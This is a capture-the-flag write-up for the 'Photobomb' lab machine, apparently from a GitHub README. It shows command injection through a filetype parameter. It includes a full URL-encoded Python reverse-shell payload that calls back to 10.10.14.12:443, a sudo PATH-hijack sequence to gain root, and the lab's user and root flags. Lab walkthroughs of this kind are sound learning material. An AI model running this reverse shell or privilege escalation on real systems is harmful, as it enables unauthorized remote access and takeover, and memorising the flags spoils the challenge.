Skip to content

Latest commit

 

History

History
167 lines (78 loc) · 4.48 KB

README.md

File metadata and controls

167 lines (78 loc) · 4.48 KB
Raw

Photobomb

Write-up author: jon-brandy

DESCRIPTION:

  • NONE

HINT:

  • NONE

STEPS:

  1. First, let's check all open ports and it's services from the host given.

RESULT

image

  1. Based from the output, it seems the machine is running a web application.
  2. So let's open the webapp.

RESULT

image

  1. Let's click this:

image

RESULT

image

  1. Well we don't have any creds, let's check the page source.

RESULT

image

  1. Let's check the .js file.

RESULT

image

image

  1. Got a hint there, open the link then.

RESULT

image

image

  1. It seems we can download any image we click here.

image

  1. Hence, let's see the download request using burpsuite and send it to repeater.

RESULT

image

  1. To check whether it's vulnerable to command injection, let's add ;id behind the value of filetype parameter.

RESULT

image

image

  1. Now let's try to inject command for reverse shell. I used this command from hacktools.
python3%20-c%20'import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%2210.10.14.12%22,443));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import%20pty;%20pty.spawn(%22/bin/bash%22)'
  1. Now set a listeners for port 443. Then paste the payload behind the jpg;, next click send.

image

image

image

  1. Now press ctrl-d.

RESULT

image

  1. Let's find all the flags!

image

image

  1. Got the user flag!

USER FLAG

e89b54a9041e03ea2ea5148f38d1413d
  1. Then go for the root now.

image

  1. Since we're not root, gotta find a way.
  2. Find a bash script at the opt directory.

image

  1. Actually i'm stucked here, so i did a small outsource about this challenge and found out that we have to run this command in order to get the root mode:
sudo -l # check our available command
echo bash > find
chmod +x find
sudo PATH=$PWD:$PATH /opt/cleanup.sh

RESULT

image

image

image

  1. Got the root flag!

ROOT FLAG

09472dbb86cfe57789293cef8965aa07